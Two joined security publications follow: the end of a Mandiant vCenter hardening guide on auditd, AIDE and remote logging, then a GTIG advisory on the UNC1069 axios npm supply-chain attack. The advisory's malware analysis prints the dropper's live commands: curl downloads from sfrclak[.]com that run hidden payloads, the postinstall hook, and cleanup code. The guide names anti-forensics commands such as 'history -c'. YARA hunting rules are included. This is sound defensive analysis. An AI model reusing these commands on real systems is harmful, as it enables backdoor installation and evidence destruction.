Check the local system messages to ensure the plugin has started successfully:

grep "audisp-syslog" /var/log/messages

You should see a message indicating the plugin has initialized or started.

Step 4: Confirm Logs Are Forwarded

journalctl -f | grep audit

You should see events with msg=audit prefix.

Syslog Tag (Key): In your SIEM, you should search for the field msg=audit followed by the key="XYZ" (e.g., key="execpriv"). This allows you to filter out of standard system logs and focus only on high-fidelity security events.

Additional Auditd Rules

Based on a default audit.STIG.rules output contained in the Photon OS 4.0 STIG auditd config, these three rules should be added.

Advanced Intrusion Detection Environment (AIDE)

While auditd provides low-level monitoring, AIDE serves as the source of digital validation for the VCSA. AIDE is a host-based file integrity monitoring (FIM) tool that is considered the industry standard for high-security Linux environments and is a requirement for DISA STIG compliance (PHTN-40-000237).

Note: Mandiant recommends organizations perform comprehensive testing and fine-tuning of these rules within a staging environment before production deployment to account for variations in specific vSphere configurations and operational workloads. Proper calibration of monitoring thresholds and file exclusion lists is essential to achieve an optimal signal-to-noise ratio and ensure high-fidelity alerting of unauthorized modifications.

Why AIDE Is Essential Alongside auditd

Relying on a single telemetry stream is insufficient to counter the sophisticated tactics of BRICKSTORM. By pairing AuditD's behavioral auditing with AIDE's cryptographic integrity checks, organizations establish a mutual defense that reduces an attacker's ability to operate undetected.

• auditd (Behavioral Monitoring): Captures the action (e.g., "Root used sed to modify a script"). If an attacker achieves high-level privileges and "blinds" the audit service or wipes the local logs, the behavioral trail is lost.
• AIDE (State Monitoring): Captures the result. AIDE creates a cryptographic baseline (DNA fingerprint) of every critical system file. It does not care how a file was changed or if the audit logs were wiped; it only cares that the file is no longer authentic.

Using AIDE Alongside auditd

The following steps walk through how to verify the current AIDE integrity foundation, add BRICKSTORM specific detections, and establish an immutable cryptographic baseline.

1: Diagnostic Assessment

Before modifying the environment, you should confirm the AIDE configuration status. Log in to the VCSA via SSH and run these commands as root:

Confirm AIDE is installed and compiled with the required config (WITH_AUDIT and SHA-512).

# Check version and compiled options
aide -v

2. Verify the AIDE Database

AIDE requires that a cryptographic baseline (snapshot) exists. Check the status of the database:

# Resolve the database directory (typically /var/lib/aide)
grep "@@define DBDIR" /etc/aide.conf
# Check for the active database
ls -lh /var/lib/aide/aide.db.gz

If aide.db.gz is missing, you have no baseline. If it exists but the timestamp is months old, your integrity foundation is stale and will produce high-noise alerts during a check.

3. Audit Current AIDE Coverage 

Determine which parent directories are currently being monitored by the default rules:

# Filter for active file selection rules
grep -v "^#" /etc/aide.conf | grep "^/"

4. Editing AIDE Rule Set for BRICKSTORM Coverage 

Open the configuration file.

vi /etc/aide.conf

Append these BRICKSTORM specific rules to the bottom. Use the STIG rule group to ensure SHA-512 enforcement.

# --- BRICKSTORM TARGETS ---
/root/.ssh              STIG    # Detects unauthorized SSH
/lib64                  STIG    # Detects system-level libraries
/etc/aide.conf          STIG    # Detects tampering with AIDE
/etc/audit/             STIG    # Detects attempts to edit config
/etc/audisp/            STIG    # Detects attempts to sever bridge

Append the file for log exclusions to reduce noise [the ! should come before the rules that tell AIDE to watch the parent folders (like /opt or /etc)].

# --- NOISE REDUCTION: EXCLUDE DYNAMIC LOGS ---
!/var/log/.*             # Ignore all standard logs
!/opt/vmware/var/log/.*  # Ignore vCenter-specific service logs
!/var/lib/.*             # Ignore dynamic database/state files

Note: Remove all # from append statements.

5. Initializing the AIDE Database

Once the rules are defined, you should generate a new cryptographic snapshot. This should only be performed when the VCSA is verified clean (e.g., immediately after patching).

# 1. Initialize the new fingerprint database
aide --init

# 2. Activate the database
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

Copy the aide.db.gz to a read-only, off-box location. Comparing the VCSA against an off-box "Gold Image" ensures that even root-level attackers cannot hide their modifications by re-initializing the local database.

6. Enable the Remote Logging of AIDE Events via Logger Pipe

# Run a check and bridge the output to Syslog/SIEM
aide --check | logger -t AIDE_TRAP -p local6.crit

7. Enable Automation of AIDE Database Check

To move from manual oversight to automated alerting, you should establish a recurring scheduled task. This ensures that the VCSA programmatically verifies its own state and reports any discrepancies.

Open crontab:

crontab -e

Add the following edit to configure the task:

# Execute check every 6 hours and send results via VCSA remote syslog
0 */6 * * * /usr/bin/aide --check | logger -t AIDE_TRAP -p local6.crit

8. Conduct a Test Event

To confirm your defense is operational and your SIEM is successfully receiving AIDE alerts, perform a simulated breach.

Add a comment to a monitored area (e.g., /etc/rc.local):

echo "# Forensic Bridge Test" >> /etc/rc.local

Trigger a remote event trap:

aide --check | logger -t AIDE_TRAP -p local6.crit

Verify the Alert: Check the VCSA remote syslog target for the tag AIDE_TRAP:

AIDE found differences between database and filesystem!! followed by Changed files: /etc/rc.local.

VCSA Shell History 

On a Photon-based VCSA, the /root/.bash_history file is not replicated to any other log file, nor is it sent to a remote syslog by default. This represents a major forensic visibility gap that threat actors take advantage of to maintain their unmonitored persistence.

• The Buffer Issue: Commands typed into the shell are kept in a memory buffer. They are only written (appended) to the physical file on the disk when the user logs out of the session.

• The Anti-Forensics Risk: If a threat actor gains shell access, their first move is often to run unset HISTFILE or history -c. This prevents the memory buffer from ever being written to the disk. Even if the file is written, an attacker can simply run rm /root/.bash_history before exiting.

• No Remote Transmission: Standard VCSA syslog configurations monitor directories like /var/log/. They do not monitor hidden user files like .bash_history.

The reason the auditd remote syslog discussed in the previous steps is so critical is that it bypasses the need for .bash_history entirely. auditd intercepts system calls (syscalls) at the kernel level and exfiltrates detailed forensic data including the original User ID (AUID) and command outcomes to a remote SIEM as the command is executed. This bridge ensures that even if a threat actor purges local logs or crashes the session, an immutable, real-time audit trail remains securely preserved off-appliance.

Logging Design Principles

Recent CISA reporting and GTIG analysis describe threat actors abusing management interfaces (including enabling SSH), making persistence-related configuration changes, and using vCenter capabilities to access high-value virtual machines. An organization's logging strategy should therefore prioritize management-plane audit trails, service-state changes, identity events, hypervisor telemetry, and centralized forwarding.

1. Centralize first, then tune. Forward logs off-host in near real time so an attacker cannot tamper with them by wiping local disks. Configure both VCSA and ESXi to forward to a central syslog/SIEM target.

2. Treat logs as Tier-0 data. If vCenter is Tier-0, then vCenter/ESXi logs are also Tier-0. Restrict who can read them, who can change forwarding settings, and who can stop logging services.

3. Make timestamps defensible. Ensure consistent Network Time Protocol (NTP) across VCSA, ESXi hosts, jump boxes, and log collectors so correlation is reliable during an incident.

4. Log the actions that matter, not everything. For threat actor activity, you care less about generic "system is running" noise and more about: who accessed management, what changed, what was cloned/exported, what services were enabled, what binaries/configs were modified, and where the appliance/host talked to on the network.

Organizations should establish a "vSphere logging fundamentals" previously described by Mandiant by offloading all infrastructure logs to a centralized, remote SIEM. 

The vSphere Unified Logging Architecture

The following summary table provides a definitive map of the vSphere telemetry streams described. By implementing these steps, organizations can move from a single localized log to a multilayered remote detection architecture that covers the entire BRICKSTORM malware lifecycle.

Implementation Best Practices

For both the VCSA and ESXi hosts, the implementation of remote syslog should move beyond legacy, unencrypted protocols. The following standards are required to ensure the integrity and survivability of the forensic trail:

• Encryption via TLS (TCP Port 6514): Sending logs over UDP/514 is insecure and unreliable. Threat actors can access management traffic or spoof log entries. Organizations should enforce TCP with TLS encryption for all syslog traffic. This ensures that logs are encrypted in transit and guarantees delivery through the TCP handshake.

• Certificate Validation: To prevent man-in-the-middle (MitM) attacks on the logging pipeline, the VCSA and ESXi hosts should be configured to validate the SSL certificate of the remote syslog server. This ensures that telemetry is being sent to a verified security authority and not a rogue listener controlled by the attacker.

• VCSA Custom Shell Bridging: Because the VCSA does not forward shell activity or denied firewall connections by default, administrators should consider implementing an agentless bridge at the Photon OS level. By configuring the audisp (Audit Dispatcher) and piping iptables logs into the native rsyslog service, the VCSA is transformed from a passive appliance into an active sensor, capable of streaming real-time kernel-level alerts directly into the encrypted TLS pipeline.

• Standardized Retention: Given this threat actor's dwell time averages 393 days, the remote syslog repository should be configured with a minimum retention period of 400 days. This allows investigators to correlate the programmatic eventTypeId of a year-old initial compromise with the low-level auditd signals of a current breach.

Summary of Logging Detections

Conclusion

It is critical for organizations to recognize that the vCenter Server control plane is a primary target for state-sponsored espionage and global ransomware operations. Technical hardening is essential to create the friction required to generate high-fidelity signals. By enforcing barriers such as VCSA OS-level firewalls, phishing-resistant MFA, and restricted management interfaces, organizations force a threat actor to attempt actions that are inherently suspicious.

Addressing forensic visibility gaps through the implementation of auditd, AIDE, and centralized remote logging ensures that evidence of persistence is preserved for incident response activities. Organizations should leverage this enhanced telemetry to build pattern-based behavioral detections rather than relying on static Indicators of Compromise (IoCs). As adversaries increasingly leverage AI across the entire attack lifecycle, the hardening and logging controls outlined in this guide should become the universal vSphere security baseline to ensure every unauthorized movement results in an immediate and immutable forensic response.

Written by: Austin Larsen, Dima Lenz, Adrian Hernandez, Tyler McLellan, Christopher Gardner, Ashley Zaya, Michael Rudden, Mon Liclican, Muhammad Umair

Introduction 

Google Threat Intelligence Group (GTIG) is tracking an active software supply chain attack targeting the popular Node Package Manager (NPM) package "axios." Between March 31, 2026, 00:21 and 03:20 UTC, an attacker introduced a malicious dependency named "plain-crypto-js" into axios NPM releases versions 1.14.1 and 0.30.4. Axios is the most popular JavaScript library used to simplify HTTP requests, and these packages typically have over 100 million and 83 million weekly downloads, respectively. This malicious dependency is an obfuscated dropper that deploys the WAVESHAPER.V2 backdoor across Windows, macOS, and Linux.

GTIG attributes this activity to UNC1069, a financially motivated North Korea-nexus threat actor active since at least 2018, based on the use of WAVESHAPER.V2, an updated version of WAVESHAPER previously used by this threat actor. Further, analysis of infrastructure artifacts used in this attack shows overlaps with infrastructure used by UNC1069 in past activities.

This blog details the attack lifecycle, from the initial account compromise to the deployment of operating system (OS)-specific payloads, and provides actionable guidance for defenders to identify and mitigate this threat.

Campaign Overview

On March 31, 2026, GTIG observed the introduction of plain-crypto-js version 4.2.1 as a dependency in the legitimate axios package version 1.14.1. Analysis indicates the maintainer account associated with the axios package was compromised, with the associated email address changed to an attacker-controlled account (ifstap@proton.me).

The threat actor used the postinstall hook within the "package.json" file of the malicious dependency to achieve silent execution. Upon installation of the compromised axios package, NPM automatically executes an obfuscated JavaScript dropper named "setup.js" in the background.

 "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "node setup.js"

  }

Malware Analysis 

The plain-crypto-js package serves as a payload delivery vehicle. The core component, SILKBELL, setup.js (SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09), dynamically checks the target system's operating system upon execution to deliver platform-specific payloads.

The script uses a custom XOR and Base64-based string obfuscation routine to conceal the command-and-control (C2 or C&C) URL and host OS execution commands. To evade static analysis, it dynamically loads fs, os, and execSync. After successfully dropping the secondary payload, setup.js attempts to delete itself and revert the modified package.json to hide forensic traces of the postinstall hook.

Operating System-Specific Execution Paths

Depending on the identified platform, the dropper executes the following routines.

Windows

The dropper actively hunts for the native powershell.exe binary. To evade detection, it copies the legitimate executable to %PROGRAMDATA%\wt.exe. It then downloads a PowerShell script via curl using the POST body packages.npm.org/product1 and saves it to the user's AppData Temp directory (e.g., %TEMP%\6202033.ps1). The payload is executed using a copied Windows Terminal executable with hidden and execution policy bypass flags.

Set objShell = CreateObject("WScript.Shell")    
objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%\6202033.ps1 
  			  & %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak[.]com:8000/6202033 & del ""PS_PATH"" /f", 0, False

macOS

The malware uses bash and curl to download a native Mach-O binary payload to /Library/Caches/com.apple.act.mond using the POST body packages.npm.org/product0. It modifies permissions to make the file executable and launches it via zsh in the background.

try
    do shell script "
    	curl -o /Library/Caches/com.apple.act.mond 
  		-d packages.npm.org/product0 
		-s http://sfrclak.com:8000/6202033 
  		&& chmod 770 /Library/Caches/com.apple.act.mond 
	  	&& /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &" 
  		&> /dev/null"
    "
  end try
  do shell script "rm -rf tmp/6202033"

Linux

The script downloads a Python backdoor to /tmp/ld.py using the POST body packages.npm.org/product2.

Cleanup 

Aside from removing downloaded scripts in two execution branches, the script attempts to remove itself and replace an injected package.json with an original one, which was stored as "package.md".

const K = __filename;
t.unlink(K, (x => {}))
t.unlink('package.json', (x => {})), t.rename('package.md', 'package.json', ord)

WAVESHAPER.V2 Backdoor Capabilities

The platform-specific payloads ultimately deploy variants of a backdoor tracked by GTIG as WAVESHAPER.V2, a backdoor written in C++ that targets macOS to collect system information, enumerate directories, or execute additional payloads and that connects to the C2 provided via command-line arguments. Notably, GTIG identified additional variants of WAVESHAPER.V2 written in PowerShell and Python to target diverse environments. Regardless of the operating system, the malware beacons to the C2 endpoint over port 8000 at 60-second intervals. The beacon consists of Base64-encoded JSON data and uses a hard-coded User-Agent: 

mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

Following the initial beaconing to the adversary infrastructure, WAVESHAPER.V2 continuously polls, pausing for 60 seconds awaiting instructions. The server response determines the next action taken by the implant. The backdoor supports multiple commands outlined in the Table 1.

On Windows, persistence is achieved by creating a hidden batch file (%PROGRAMDATA%\system.bat) and adding a new entry named MicrosoftUpdate to HKCU:\Software\Microsoft\Windows\CurrentVersion\Run to launch it at logon.

WAVESHAPER.V2 acts as a fully functional RAT with the following capabilities:

• Reconnaissance: Extracts system telemetry, including hostname, username, boot time, time zone, OS version, and detailed running process lists.

• Command Execution: Supports multiple execution methods, including in-memory Portable Executable (PE) injection and arbitrary shell commands. The shell execution command expects a script and script parameters from C2; if no script is provided, the parameter is executed as a PowerShell command, but if a script is provided, it is either Base64-encoded or placed into a file depending on its size.

• File System Enumeration: Returns detailed metadata for requested target directories by continuously recursing through the file system.

Attribution

GTIG attributes this activity to UNC1069, a financially motivated North Korea-nexus threat actor active since 2018. Analysis of the C2 infrastructure (sfrclak[.]com resolving to 142.11.206.73) revealed connections from a specific AstrillVPN node previously used by UNC1069. Additionally, adjacent infrastructure hosted on the same ASN has been historically linked to UNC1069 operations.

Furthermore, WAVESHAPER.V2 is a direct evolution of WAVESHAPER, a macOS and Linux backdoor previously attributed to UNC1069. While the original WAVESHAPER uses a lightweight, raw binary C2 protocol and employs code packing, WAVESHAPER.V2 communicates using JSON, collects additional system information, and supports more backdoor commands. Despite these upgrades, both versions accept their C2 URL dynamically via command-line arguments, share identical C2 polling behaviors and an uncommon User-Agent string, and deploy secondary payloads to identical temporary directories (e.g., /Library/Caches/com.apple.act.mond).

Outlook and Implications

The impact of this attack by North Korea-nexus actors is broad and has ripple effects as other popular packages rely on axios as a dependency. Notably, UNC1069 isn’t the only threat actor that has launched successful open source supply chain attacks in recent weeks. UNC6780 (also known as TeamPCP) recently poisoned GitHub Actions and PyPI packages associated with projects like Trivy, Checkmarx, and LiteLLM to deploy the SANDCLOCK credential stealer and facilitate follow-on extortion operations. 

Hundreds of thousands of stolen secrets could potentially be circulating as a result of these recent attacks. This could enable further software supply chain attacks, software as a service (SaaS) environment compromises (leading to downstream customer compromises), ransomware and extortion events, and cryptocurrency theft over the near term. 

Supply chain compromise is a particularly dangerous tactic because it abuses the inherent trust that users and enterprise administrators place in hardware, software, and updates supplied by reputable vendors as well as the trust they may not realize they are placing in collaborative code-sharing communities. Defenders should pay close attention to these campaigns, and enterprises should initiate dedicated efforts to assess the existing impact, remediate compromised systems, and harden environments against future attacks.

Remediation 

GTIG urges all developers and organizations using the axios package to take immediate corrective action. Priority should be given to auditing dependency trees for compromised versions, isolating affected hosts, and rotating any potentially exposed secrets or credentials. Following initial containment, organizations must implement long-term hardening through strict version pinning and enhanced supply-chain monitoring.

• Version Control: Do not upgrade to axios version 1.14.1 or 0.30.4. Ensure corporate-managed NPM repositories are configured to serve only known-good versions (e.g., 1.14.0 or earlier; 0.30.3 or earlier).

• Dependency Pinning: Pin axios to a known safe version in your package-lock.json to prevent accidental upgrades.

• Malicious Package Audit: Inspect project lockfiles specifically for the 'plain-crypto-js' package (versions 4.2.0 or 4.2.1). Use tools like Wiz or Open Source Insights for deeper dependency auditing.

• Pipeline Security: Pause CI/CD deployments for any package relying on axios. Validate that builds are not pulling "latest" versions before redeploying with pinned, safe versions. 

• Incident Response: If plain-crypto-js is detected, assume the host environment is compromised. Revert the environment to a known-good state and rotate all credentials or secrets present on that machine.

• Network Defense: Block all traffic to sfrclak[.]com and the command & control IP: 142.11.206.73. Monitor and alert on any endpoint communication attempts to this domain.

• Cache Remediation: Clear local and shared npm, yarn, and pnpm caches on all workstations and build servers to prevent re-infection during subsequent installs.

• Endpoint Protection: Deploy EDR to protect developer environments. Monitor for suspicious processes spawning from Node.js applications that match known Indicators of Compromise (IOCs).

• Credential Management: Rotate all tokens and API keys used by applications confirmed to have run indicators of compromise (IOCs).

• Developer Sandboxing & Secret Vaulting: Isolate development environments in containers or sandboxes to restrict host filesystem access, and migrate plaintext secrets to the OS keychain using aws-vault. This ensures compromised packages cannot programmatically scrape credentials or execute malicious scripts directly on the host machine.

Indicators of Compromise (IOCs) 

To assist the wider community in hunting and identifying the activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

Network Indicators

File Indicators

YARA Rules

These rules may be most useful on developer workstations, CI/build systems, and other suspected impacted hosts for retrospective hunting and validation.

rule G_Backdoor_WAVESHAPER.V2_PS_1
{
    meta:
        description = "Detects the WAVESHAPER.V2 PowerShell backdoor which communicates with C2 via base64 encoded JSON beacons and supports PE injection and script execution"
        author = "GTIG"
        md5 = "04e3073b3cd5c5bfcde6f575ecf6e8c1"
        date_created = "2026/03/31"
        date_modified = "2026/03/31"
        rev = 1
        platforms = "Windows"
        family = "WAVESHAPER.V2"
    strings:
        $ss1 = "packages.npm.org/product1" ascii wide nocase
        $ss2 = "Extension.SubRoutine" ascii wide nocase
        $ss3 = "rsp_peinject" ascii wide nocase
        $ss4 = "rsp_runscript" ascii wide nocase
        $ss5 = "rsp_rundir" ascii wide nocase
        $ss6 = "Init-Dir-Info" ascii wide nocase
        $ss7 = "Do-Action-Ijt" ascii wide nocase
        $ss8 = "Do-Action-Scpt" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and filesize < 100KB and 5 of ($ss*)
}

rule G_Hunting_Downloader_suspected_UNC1069_PS_1
{
    meta:
        description = "Detects PowerShell dropper associated with suspected UNC1069 and Axios npm package supply chain attack. Associated to WAVESHAPER.V2"
        author = "GTIG"
        md5 = "089e2872016f75a5223b5e02c184dfec"
        date_created = "2026/03/31"
        date_modified = "2026/03/31" 
        rev = 1
        platforms = "Windows"
    strings:
        $ss1 = "start /min powershell -w h" ascii wide nocase
        $ss2 = "[scriptblock]::Create([System.Text.Encoding]::UTF8.GetString" ascii wide nocase
        $ss3 = "Invoke-WebRequest -UseBasicParsing" ascii wide nocase
        $ss4 = "-Method POST -Body" ascii wide nocase
        $ss5 = "packages.npm.org/product1" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and filesize < 5KB and all of them
}

rule G_Hunting_Downloader_SILKBELL_1
{
    meta:
        description = "Detects the obfuscated version of the JS NPM supply chain downloader using Base64 obfuscation and custom XOR. Associated with WAVESHAPER.V2"
        author = "GTIG"
        md5 = "7658962ae060a222c0058cd4e979bfa1"
        date_created = "2026/03/31"
        date_modified = "2026/03/31" 
        rev = 1
        platforms = "Any"
    strings:
        $ss1 = "OrDeR_7077" ascii wide fullword
        $ss2 = "String.fromCharCode(S^a^333)" ascii wide
        $ss3 = "\"TE9DQUw^\".replaceAll(\"^\",\"=\")" ascii wide
        $ss4 = "\"UFM_\".replaceAll(\"_\",\"=\")" ascii wide
        $ss5 = "\"U0NSXw--\".replaceAll(\"-\",\"=\")" ascii wide
        $ss6 = "\"UFNfQg--\".replaceAll(\"-\",\"=\")" ascii wide
        $ss7 = "\"d2hlcmUgcG93ZXJzaGVsbA((\".replaceAll(\"(\",\"=\")" ascii wide
    condition:
        uint16(0) != 0x5A4D and filesize < 100KB and all of them
}

Google Security Operations (SecOps)

Google Security Operations (SecOps) customers have access to the following broad category rules and more under the Mandiant Intel Emerging Threats rule pack.

• Curl Writing Apple System File to Staging Directory

• Node Spawning Nohup Osascript

• Node Spawning Windows Script Host With Delete Command

• Windows Script Host Spawning Shell With Curl

• Windows Terminal In Suspicious Staging Directory

Wiz

Wiz customers should check their Wiz Threat Center for information on this advisory and whether or not they are impacted. For more information refer to Wiz’s blog post, Axios NPM Distribution Compromised in Supply Chain Attack.